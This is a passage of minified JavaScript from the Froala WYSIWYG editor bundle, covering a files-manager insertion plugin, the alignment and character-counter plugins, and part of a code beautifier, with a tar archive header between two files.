i,n;It.VIDEO_EMBED_REGEX.test(e)?(i="video",n=L.opts.videoSplitHTML):It.IMAGE_EMBED_REGEX.test(e)&&(i="image",n=L.opts.imageSplitHTML),L.events.focus(!0),L.selection.restore();var a=!1;x&&(je(),a=!0),L.html.insert('<span id="fr-inserted-file" contenteditable="true" draggable="true" class="fr-'.concat(i,' fr-jiv fr-deletable">').concat(e,"</span>"),!1,n),L.popups.hide("filesManager.insert");var r=L.$el.find(".fr-jiv");r.removeClass("fr-jiv"),"video"==i&&(r.toggleClass("fr-rv",L.opts.videoResponsive),function s(e,t,i){!L.opts.htmlUntouched&&L.opts.useClasses?(e.removeClass("fr-fvl fr-fvr fr-dvb fr-dvi"),e.addClass("fr-fv".concat(i[0]," fr-dv").concat(t[0]))):"inline"==t?(e.css({display:"inline-block"}),"center"==i?e.css({"float":"none"}):"left"==i?e.css({"float":"left"}):e.css({"float":"right"})):(e.css({display:"block",clear:"both"}),"left"==i?e.css({textAlign:"left"}):"right"==i?e.css({textAlign:"right"}):e.css({textAlign:"center"}))}(r,L.opts.videoDefaultDisplay,L.opts.videoDefaultAlign),r.toggleClass("fr-draggable",L.opts.videoMove),L.events.trigger(a?"video.replaced":"video.inserted",[r])),"image"==i&&(st(r,L.opts.imageDefaultDisplay,L.opts.imageDefaultAlign),r.find("img").removeClass("fr-dii"),r.find("img").addClass("fr-dib"),r.toggleClass("fr-draggable",L.opts.imageMove),L.events.trigger(a?"image.replaced":"image.inserted",[r])),t&&(c=r,L.selection.clear(),L.toolbar.disable(),L.video._editVideo(c))}(e)},hasCaption:dt,exitEdit:it,edit:Ee,cancelFileInsert:function Mt(){this.file_manager_dialog_open=!1,E.forEach(function(e,t){4!=e.readyState&&(e.abort(),q(t))});var e=L.popups.get("filesManager.insert");e.find(".fr-progress-bar").removeClass("fr-display-block").addClass("fr-none"),e.find('.fr-command[data-cmd="filesUpload"]').removeClass("fr-disabled"),e.find('.fr-command[data-cmd="filesByURL"]').removeClass("fr-disabled"),e.find('.fr-command[data-cmd="filesEmbed"]').removeClass("fr-disabled"),r=0,E=new Map,k=new Map,Z(),L.popups.hide("filesManager.insert")},minimizePopup:function Et(e){this.file_manager_dialog_open=!1,L.popups.hide("filesManager.insert"),Z()},editImage:Ie,saveImage:function kt(e){var t=B.get(s);t.link=window.URL.createObjectURL(new Blob(e,{type:"image/png"})),B.set(s,t)},_showErrorMessage:te,_showFileErrorMessage:ie,getFileThumbnail:be,deleteFile:q,checkAutoplay:De,checkInsertAllState:j,_disableInsertCheckbox:G,_getFileType:Le,isChildWindowOpen:function At(){return p},setChildWindowState:function Ct(e){e!==undefined&&(p=e)},resetAllFilesCheckbox:Z}},It.DefineIcon("insertFiles",{NAME:"image",SVG_KEY:"fileManager"}),It.RegisterShortcut(It.KEYCODE.P,"insertFiles",null,"P"),It.RegisterCommand("insertFiles",{title:"Insert Files",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("filesManager.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("filesManager.insert")):this.filesManager.showInsertPopup()},plugin:"filesManager"}),It.DefineIcon("cloudIcon",{NAME:"cloudIcon",SVG_KEY:"uploadFiles"}),It.DefineIcon("filesUpload",{NAME:"uploadFiles",SVG_KEY:"uploadFiles"}),It.RegisterCommand("filesUpload",{title:"Upload Files",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.showLayer("files-upload")},refresh:function(e){this.filesManager.refreshUploadButton(e)}}),It.DefineIcon("filesByURL",{NAME:"link",SVG_KEY:"insertLink"}),It.RegisterCommand("filesByURL",{title:"By URL",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.showLayer("files-by-url")},refresh:function(e){this.filesManager.refreshByURLButton(e)}}),It.DefineIcon("filesEmbed",{NAME:"code",SVG_KEY:"codeView"}),It.RegisterCommand("filesEmbed",{title:"Embedded Code",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.showLayer("files-embed")},refresh:function(e){this.filesManager.refreshEmbedButton(e)}}),It.DefineIcon("insertAll",{NAME:"insertAll",SVG_KEY:"fileInsert"}),It.RegisterCommand("insertAll",{title:"Insert",undo:!1,focus:!1,toggle:!0,disabled:!0,callback:function(){this.filesManager.insertAllFiles()}}),It.DefineIcon("deleteAll",{NAME:"remove",SVG_KEY:"remove"}),It.RegisterCommand("deleteAll",{title:"Delete",undo:!1,focus:!1,toggle:!0,disabled:!0,callback:function(){this.filesManager.deleteAllFiles()}}),It.DefineIcon("cancel",{NAME:"cancel",SVG_KEY:"cancel"}),It.RegisterCommand("cancel",{title:"Cancel",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.cancelFileInsert()},refresh:function(e){}}),It.DefineIcon("minimize",{NAME:"minimize",SVG_KEY:"minimize"}),It.RegisterCommand("minimize",{title:"Minimize",undo:!1,focus:!1,toggle:!0,callback:function(){this.filesManager.minimizePopup("image.insert",!0)},refresh:function(e){this.filesManager.refreshEmbedButton(e)}}),It.RegisterCommand("filesInsertByURL",{title:"Insert Image",undo:!0,refreshAfterCallback:!1,callback:function(){this.filesManager.insertByURL()},refresh:function(e){e.text(this.language.translate("Add"))}}),It.RegisterCommand("imageInsertByUpload",{title:"Insert",undo:!0,refreshAfterCallback:!1,callback:function(e,t){},refresh:function(e){}}),It.RegisterCommand("viewImage",{title:"View Image",undo:!0,refreshAfterCallback:!1,callback:function(e,t){},refresh:function(e){}}),It.RegisterCommand("insertEmbed",{undo:!0,focus:!0,callback:function(){this.filesManager.insertEmbed(),this.popups.get("filesManager.insert").find("textarea")[0].value="",this.popups.get("filesManager.insert").find("textarea").removeClass("fr-not-empty")}}),It.RegisterCommand("filesDismissError",{title:"OK",undo:!1,callback:function(){this.filesManager.hideProgressBar(!0)}})}); plugins.pkgd.min.js 0000674 00002504123 00000000000 0010244 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(St){"use strict";function r(e,t){(null==t||t>e.length)&&(t=e.length);for(var a=0,n=Array(t);a<t;a++)n[a]=e[a];return n}function He(e,t){var a="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!a){if(Array.isArray(e)||(a=l(e))||t&&e&&"number"==typeof e.length){a&&(e=a);var n=0,r=function(){};return{s:r,n:function(){return n>=e.length?{done:!0}:{done:!1,value:e[n++]}},e:function(e){throw e},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var i,o=!0,s=!1;return{s:function(){a=a.call(e)},n:function(){var e=a.next();return o=e.done,e},e:function(e){s=!0,i=e},f:function(){try{o||null==a["return"]||a["return"]()}finally{if(s)throw i}}}}function ye(e){return function t(e){if(Array.isArray(e))return r(e)}(e)||function a(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||l(e)||function n(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Rt(e){return(Rt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function l(e,t){if(e){if("string"==typeof e)return r(e,t);var a={}.toString.call(e).slice(8,-1);return"Object"===a&&e.constructor&&(a=e.constructor.name),"Map"===a||"Set"===a?Array.from(e):"Arguments"===a||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(a)?r(e,t):void 0}}if((St=St&&St.hasOwnProperty("default")?St["default"]:St).PLUGINS.align=function(r){var i=r.$;return{apply:function o(e){var t=r.selection.element();if(i(t).parents(".fr-img-caption").length)i(t).css("text-align",e);else{r.selection.save(),r.html.wrap(!0,!0,!0,!0),r.selection.restore();for(var a=r.selection.blocks(),n=0;n<a.length;n++)i(a[n]).css("text-align",e).removeClass("fr-temp-div"),""===i(a[n]).attr("class")&&i(a[n]).removeAttr("class"),""===i(a[n]).attr("style")&&i(a[n]).removeAttr("style");r.selection.save(),r.html.unwrap(),r.selection.restore()}},refresh:function n(e){var t=r.selection.blocks();if(t.length){var a=r.helpers.getAlignment(i(t[0]));e.find("> *").first().replaceWith(r.icon.create("align-".concat(a)))}},refreshOnShow:function s(e,t){var a=r.selection.blocks();if(a.length){var n=r.helpers.getAlignment(i(a[0]));t.find('a.fr-command[data-param1="'.concat(n,'"]')).addClass("fr-active").attr("aria-selected",!0)}},refreshForToolbar:function l(e){var t=r.selection.blocks();if(t.length){var a=r.helpers.getAlignment(i(t[0]));a=a.charAt(0).toUpperCase()+a.slice(1),"align".concat(a)===e.attr("data-cmd")&&e.addClass("fr-active")}}}},St.DefineIcon("align",{NAME:"align-left",SVG_KEY:"alignLeft"}),St.DefineIcon("align-left",{NAME:"align-left",SVG_KEY:"alignLeft"}),St.DefineIcon("align-right",{NAME:"align-right",SVG_KEY:"alignRight"}),St.DefineIcon("align-center",{NAME:"align-center",SVG_KEY:"alignCenter"}),St.DefineIcon("align-justify",{NAME:"align-justify",SVG_KEY:"alignJustify"}),St.RegisterCommand("align",{type:"dropdown",title:"Align",options:{left:"Align Left",center:"Align Center",right:"Align Right",justify:"Align Justify"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=St.COMMANDS.align.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command fr-title" tabIndex="-1" role="option" data-cmd="align"data-param1="\n '.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.icon.create("align-".concat(a)),'<span class="fr-sr-only">\n ').concat(this.language.translate(t[a]),"</span></a></li>"));return e+="</ul>"},callback:function(e,t){this.align.apply(t)},refresh:function(e){this.align.refresh(e)},refreshOnShow:function(e,t){this.align.refreshOnShow(e,t)},plugin:"align"}),St.RegisterCommand("alignLeft",{type:"button",icon:"align-left",title:"Align Left",callback:function(){this.align.apply("left")},refresh:function(e){this.align.refreshForToolbar(e)},plugin:"align"}),St.RegisterCommand("alignRight",{type:"button",icon:"align-right",title:"Align Right",callback:function(){this.align.apply("right")},refresh:function(e){this.align.refreshForToolbar(e)},plugin:"align"}),St.RegisterCommand("alignCenter",{type:"button",icon:"align-center",title:"Align Center",callback:function(){this.align.apply("center")},refresh:function(e){this.align.refreshForToolbar(e)},plugin:"align"}),St.RegisterCommand("alignJustify",{type:"button",icon:"align-justify",title:"Align Justify",callback:function(){this.align.apply("justify")},refresh:function(e){this.align.refreshForToolbar(e)},plugin:"align"}),Object.assign(St.DEFAULTS,{charCounterMax:-1,charCounterCount:!0}),St.PLUGINS.charCounter=function(n){var a,r=n.$,i=function i(){return(n.opts.iframe&&n.markdown&&n.markdown.isEnabled()?n.$el.text()||"":n.el.textContent||"").replace(/\u200B/g,"").length};function e(e){if(n.opts.charCounterMax<0)return!0;if(i()<n.opts.charCounterMax)return!0;var t=e.which;return!(!n.keys.ctrlKey(e)&&n.keys.isCharacter(t)||t===St.KEYCODE.IME)||(e.preventDefault(),e.stopPropagation(),n.events.trigger("charCounter.exceeded"),!1)}function t(e){return n.opts.charCounterMax<0?e:r("<div>").html(e).text().length+i()<=n.opts.charCounterMax?e:(n.events.trigger("charCounter.exceeded"),"")}function o(e,t,a){return n.opts.charCounterMax<0||(e.includes('<span class="fr-emoticon')||e.includes('<i class="fa ')?!(i()>=n.opts.charCounterMax)||(n.events.trigger("charCounter.exceeded"),!1):r("<div>").html(e).text().length+i()<=n.opts.charCounterMax||(n.events.trigger("charCounter.exceeded"),!1))}function s(){if(n.opts.charCounterCount){var e=i()+(0<n.opts.charCounterMax?"/"+n.opts.charCounterMax:"");a.text("".concat(n.language.translate("Characters")," : ").concat(e)),n.opts.toolbarBottom&&a.css("margin-bottom",n.$tb.outerHeight(!0));var t=n.$wp.get(0).offsetWidth-n.$wp.get(0).clientWidth;0<=t&&("rtl"==n.opts.direction?a.css("margin-left",t):a.css("margin-right",t))}}return{_init:function l(){return!!n.$wp&&!!n.opts.charCounterCount&&((a=r(document.createElement("span")).attr("class","fr-counter")).css("bottom",n.$wp.css("border-bottom-width")),n.$second_tb?n.$second_tb.append(a):n.$wp.append(a),n.events.on("keydown",e,!0),n.events.on("paste.afterCleanup",t),n.events.on("keyup contentChanged input",function(){n.events.trigger("charCounter.update")}),n.events.on("html.beforeInsert",o),n.events.on("charCounter.update",s),n.events.trigger("charCounter.update"),void n.events.on("destroy",function(){r(n.o_win).off("resize.char".concat(n.id)),a.removeData().remove(),a=null}))},count:i}},St.PLUGINS.codeBeautifier=function(){var e,t,a,n,j={};function L(n,e){var t={"@page":!0,"@font-face":!0,"@keyframes":!0,"@media":!0,"@supports":!0,"@document":!0},a={"@media":!0,"@supports":!0,"@document":!0};e=e||{},n=(n=n||"").replace(/\r\n|[\r\u2028\u2029]/g,"\n");var r=e.indent_size||4,i=e.indent_char||" ",o=e.selector_separator_newline===undefined||e.selector_separator_newline,s=e.end_with_newline!==undefined&&e.end_with_newline,l=e.newline_between_rules===undefined||e.newline_between_rules,c=e.eol?e.eol:"\n";"string"==typeof r&&(r=parseInt(r,10)),e.indent_with_tabs&&(i="\t",r=1),c=c.replace(/\\r/,"\r").replace(/\\n/,"\n");var d,f=/^\s+$/,p=-1,u=0;function g(){return(d=n.charAt(++p))||""}function h(e){var t,a=p;return e&&v(),t=n.charAt(p+1)||"",p=a-1,g(),t}function m(e){for(var t=p;g();)if("\\"===d)g();else{if(-1!==e.indexOf(d))break;if("\n"===d)break}return n.substring(t,p+1)}function v(){for(var e="";f.test(h());)g(),e+=d;return e}function b(){var e="";for(d&&f.test(d)&&(e=d);f.test(g());)e+=d;return e}function E(e){var t=p;for(e="/"===h(),g();g();){if(!e&&"*"===d&&"/"===h()){g();break}if(e&&"\n"===d)return n.substring(t,p)}return n.substring(t,p)+d}function _(e){return n.substring(p-e.length,p).toLowerCase()===e}function w(){for(var e=0,t=p+1;t<n.length;t++){var a=n.charAt(t);if("{"===a)return!0;if("("===a)e+=1;else if(")"===a){if(0===e)return!1;e-=1}else if(" "===a||"}"===a)return!1}return!1}var y=n.match(/^[\t ]*/)[0],A=new Array(r+1).join(i),C=0,T=0;for(var k,S,R,L={"{":function(e){L.singleSpace(),x.push(e),L.newLine()},"}":function(e){L.newLine(),x.push(e),L.newLine()},_lastCharWhitespace:function(){return f.test(x[x.length-1])},newLine:function(e){x.length&&(e||"\n"===x[x.length-1]||L.trim(),x.push("\n"),y&&x.push(y))},singleSpace:function(){x.length&&!L._lastCharWhitespace()&&x.push(" ")},preserveSingleSpace:function(){k&&L.singleSpace()},trim:function(){for(;L._lastCharWhitespace();)x.pop()}},x=[],I=!1,O=!1,F=!1,M="",D="";;){var N=b();k=""!==N;var P=-1!==N.indexOf("\n");if(D=M,!(M=d))break;if("/"===d&&"*"===h()){var B=0===C;(P||B)&&L.newLine(),x.push(E()),L.newLine(),B&&L.newLine(!0)}else if("/"===d&&"/"===h())P||"{"===D||L.trim(),L.singleSpace(),x.push(E()),L.newLine();else if("@"===d){L.preserveSingleSpace(),x.push(d);var U=(void 0,S=p,R=m(": , {}()[]/='\""),p=S-1,g(),R);U.match(/[ :]$/)&&(g(),U=m(": ").replace(/\s$/,""),x.push(U),L.singleSpace()),(U=U.replace(/\s$/,""))in t&&(T+=1,U in a&&(F=!0))}else"#"===d&&"{"===h()?(L.preserveSingleSpace(),x.push(m("}"))):"{"===d?"}"===h(!0)?(v(),g(),L.singleSpace(),x.push("{}"),L.newLine(),l&&0===C&&L.newLine(!0)):(C++,y+=A,L["{"](d),I=F?(F=!1,T<C):T<=C):"}"===d?(C--,y=y.slice(0,-r),L["}"](d),O=I=!1,T&&T--,l&&0===C&&L.newLine(!0)):":"===d?(v(),!I&&!F||_("&")||w()?":"===h()?(g(),x.push("::")):x.push(":"):(O=!0,x.push(":"),L.singleSpace())):'"'===d||"'"===d?(L.preserveSingleSpace(),x.push(m(d))):" "===d?(O=!1,x.push(d),L.newLine()):"("===d?_("url")?(x.push(d),v(),g()&&(")"!==d&&'"'!==d&&"'"!==d?x.push(m(")")):p--)):(u++,L.preserveSingleSpace(),x.push(d),v()):")"===d?(x.push(d),u--):","===d?(x.push(d),v(),o&&!O&&u<1?L.newLine():L.singleSpace()):("]"===d||("["===d?L.preserveSingleSpace():"="===d?(v(),d="="):L.preserveSingleSpace()),x.push(d))}var H="";return y&&(H+=y),H+=x.join("").replace(/[\r\n\t ]+$/,""),s&&(H+="\n"),"\n"!=c&&(H=H.replace(/[\n]/g,c)),H}function q(e,t){for(var a=0;a<t.length;a+=1)if(t[a]===e)return!0;return!1}function X(e){return e.replace(/^\s+|\s+$/g,"")}function x(e,t){return new r(e,t).beautify()}e=j,t="\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0370-\u0374\u0376\u0377\u037a-\u037d\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u048a-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05d0-\u05ea\u05f0-\u05f2\u0620-\u064a\u066e\u066f\u0671-\u06d3\u06d5\u06e5\u06e6\u06ee\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u07f4\u07f5\u07fa\u0800-\u0815\u081a\u0824\u0828\u0840-\u0858\u08a0\u08a2-\u08ac\u0904-\u0939\u093d\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097f\u0985-\u098c\u098f\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc\u09dd\u09df-\u09e1\u09f0\u09f1\u0a05-\u0a0a\u0a0f\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32\u0a33\u0a35\u0a36\u0a38\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0\u0ae1\u0b05-\u0b0c\u0b0f\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32\u0b33\u0b35-\u0b39\u0b3d\u0b5c\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99\u0b9a\u0b9c\u0b9e\u0b9f\u0ba3\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d\u0c58\u0c59\u0c60\u0c61\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0\u0ce1\u0cf1\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d60\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0e01-\u0e30\u0e32\u0e33\u0e40-\u0e46\u0e81\u0e82\u0e84\u0e87\u0e88\u0e8a\u0e8d\u0e94-\u0e97\u0e99-\u0e9f\u0ea1-\u0ea3\u0ea5\u0ea7\u0eaa\u0eab\u0ead-\u0eb0\u0eb2\u0eb3\u0ebd\u0ec0-\u0ec4\u0ec6\u0edc-\u0edf\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u1000-\u102a\u103f\u1050-\u1055\u105a-\u105d\u1061\u1065\u1066\u106e-\u1070\u1075-\u1081\u108e\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1780-\u17b3\u17d7\u17dc\u1820-\u1877\u1880-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191c\u1950-\u196d\u1970-\u1974\u1980-\u19ab\u19c1-\u19c7\u1a00-\u1a16\u1a20-\u1a54\u1aa7\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae\u1baf\u1bba-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c7d\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5\u1cf6\u1d00-\u1dbf\u1e00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u2071\u207f\u2090-\u209c\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cee\u2cf2\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2e2f\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303c\u3041-\u3096\u309d-\u309f\u30a1-\u30fa\u30fc-\u30ff\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u3400-\u4db5\u4e00-\u9fcc\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua61f\ua62a\ua62b\ua640-\ua66e\ua67f-\ua697\ua6a0-\ua6ef\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790-\ua793\ua7a0-\ua7aa\ua7f8-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9cf\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uaa60-\uaa76\uaa7a\uaa80-\uaaaf\uaab1\uaab5\uaab6\uaab9-\uaabd\uaac0\uaac2\uaadb-\uaadd\uaae0-\uaaea\uaaf2-\uaaf4\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\uf900-\ufa6d\ufa70-\ufad9\ufb00-\ufb06\ufb13-\ufb17\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40\ufb41\ufb43\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe70-\ufe74\ufe76-\ufefc\uff21-\uff3a\uff41-\uff5a\uff66-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc",a=new RegExp("[".concat(t,"]")),n=new RegExp("[".concat(t," ").concat("\u0300-\u036f\u0483-\u0487\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u0620-\u0649\u0672-\u06d3\u06e7-\u06e8\u06fb-\u06fc\u0730-\u074a\u0800-\u0814\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0840-\u0857\u08e4-\u08fe\u0900-\u0903\u093a-\u093c\u093e-\u094f\u0951-\u0957\u0962-\u0963\u0966-\u096f\u0981-\u0983\u09bc\u09be-\u09c4\u09c7\u09c8\u09d7\u09df-\u09e0\u0a01-\u0a03\u0a3c\u0a3e-\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a66-\u0a71\u0a75\u0a81-\u0a83\u0abc\u0abe-\u0ac5\u0ac7-\u0ac9\u0acb-\u0acd\u0ae2-\u0ae3\u0ae6-\u0aef\u0b01-\u0b03\u0b3c\u0b3e-\u0b44\u0b47\u0b48\u0b4b-\u0b4d\u0b56\u0b57\u0b5f-\u0b60\u0b66-\u0b6f\u0b82\u0bbe-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcd\u0bd7\u0be6-\u0bef\u0c01-\u0c03\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62-\u0c63\u0c66-\u0c6f\u0c82\u0c83\u0cbc\u0cbe-\u0cc4\u0cc6-\u0cc8\u0cca-\u0ccd\u0cd5\u0cd6\u0ce2-\u0ce3\u0ce6-\u0cef\u0d02\u0d03\u0d46-\u0d48\u0d57\u0d62-\u0d63\u0d66-\u0d6f\u0d82\u0d83\u0dca\u0dcf-\u0dd4\u0dd6\u0dd8-\u0ddf\u0df2\u0df3\u0e34-\u0e3a\u0e40-\u0e45\u0e50-\u0e59\u0eb4-\u0eb9\u0ec8-\u0ecd\u0ed0-\u0ed9\u0f18\u0f19\u0f20-\u0f29\u0f35\u0f37\u0f39\u0f41-\u0f47\u0f71-\u0f84\u0f86-\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u1000-\u1029\u1040-\u1049\u1067-\u106d\u1071-\u1074\u1082-\u108d\u108f-\u109d\u135d-\u135f\u170e-\u1710\u1720-\u1730\u1740-\u1750\u1772\u1773\u1780-\u17b2\u17dd\u17e0-\u17e9\u180b-\u180d\u1810-\u1819\u1920-\u192b\u1930-\u193b\u1951-\u196d\u19b0-\u19c0\u19c8-\u19c9\u19d0-\u19d9\u1a00-\u1a15\u1a20-\u1a53\u1a60-\u1a7c\u1a7f-\u1a89\u1a90-\u1a99\u1b46-\u1b4b\u1b50-\u1b59\u1b6b-\u1b73\u1bb0-\u1bb9\u1be6-\u1bf3\u1c00-\u1c22\u1c40-\u1c49\u1c5b-\u1c7d\u1cd0-\u1cd2\u1d00-\u1dbe\u1e01-\u1f15\u200c\u200d\u203f\u2040\u2054\u20d0-\u20dc\u20e1\u20e5-\u20f0\u2d81-\u2d96\u2de0-\u2dff\u3021-\u3028\u3099\u309a\ua640-\ua66d\ua674-\ua67d\ua69f\ua6f0-\ua6f1\ua7f8-\ua800\ua806\ua80b\ua823-\ua827\ua880-\ua881\ua8b4-\ua8c4\ua8d0-\ua8d9\ua8f3-\ua8f7\ua900-\ua909\ua926-\ua92d\ua930-\ua945\ua980-\ua983\ua9b3-\ua9c0\uaa00-\uaa27\uaa40-\uaa41\uaa4c-\uaa4d\uaa50-\uaa59\uaa7b\uaae0-\uaae9\uaaf2-\uaaf3\uabc0-\uabe1\uabec\uabed\uabf0-\uabf9\ufb20-\ufb28\ufe00-\ufe0f\ufe20-\ufe26\ufe33\ufe34\ufe4d-\ufe4f\uff10-\uff19\uff3f","]")),e.newline=/[\n\r\u2028\u2029]/,e.lineBreak=new RegExp("\r\n|".concat(e.newline.source)),e.allLineBreaks=new RegExp(e.lineBreak.source,"g"),e.isIdentifierStart=function(e){return e<65?36===e||64===e:e<91||(e<97?95===e:e<123||170<=e&&a.test(String.fromCharCode(e)))},e.isIdentifierChar=function(e){return e<48?36===e:e<58||!(e<65)&&(e<91||(e<97?95===e:e<123||170<=e&&n.test(String.fromCharCode(e))))};var Z={BlockStatement:"BlockStatement",Statement:"Statement",ObjectLiteral:"ObjectLiteral",ArrayLiteral:"ArrayLiteral",ForInitializer:"ForInitializer",Conditional:"Conditional",Expression:"Expression"};function r(n,e){var c,r,i,d,o,s,l,f,p,t,a,u,g,h=[],m="";function v(e,t){var a=0;return e&&(a=e.indentation_level,!c.just_added_newline()&&e.line_indent_level>a&&(a=e.line_indent_level)),{mode:t,parent:e,last_text:e?e.last_text:"",last_word:e?e.last_word:"",declaration_statement:!1,declaration_assignment:!1,multiline_frame:!1,if_block:!1,else_block:!1,do_block:!1,do_while:!1,in_case_statement:!1,in_case:!1,case_body:!1,indentation_level:a,line_indent_level:e?e.line_indent_level:a,start_line_index:c.get_line_number(),ternary_depth:0}}for(u={TK_START_EXPR:function M(){x();var e=Z.Expression;if("["===d.text){if("TK_WORD"===o||")"===f.last_text)return"TK_RESERVED"===o&&q(f.last_text,i.line_starters)&&(c.space_before_token=!0),T(e),A(),C(),void(g.space_in_paren&&(c.space_before_token=!0));e=Z.ArrayLiteral,k(f.mode)&&("["!==f.last_text&&(","!==f.last_text||"]"!==s&&"}"!==s)||g.keep_array_indentation||w())}else"TK_RESERVED"===o&&"for"===f.last_text?e=Z.ForInitializer:"TK_RESERVED"===o&&q(f.last_text,["if","while"])&&(e=Z.Conditional);" 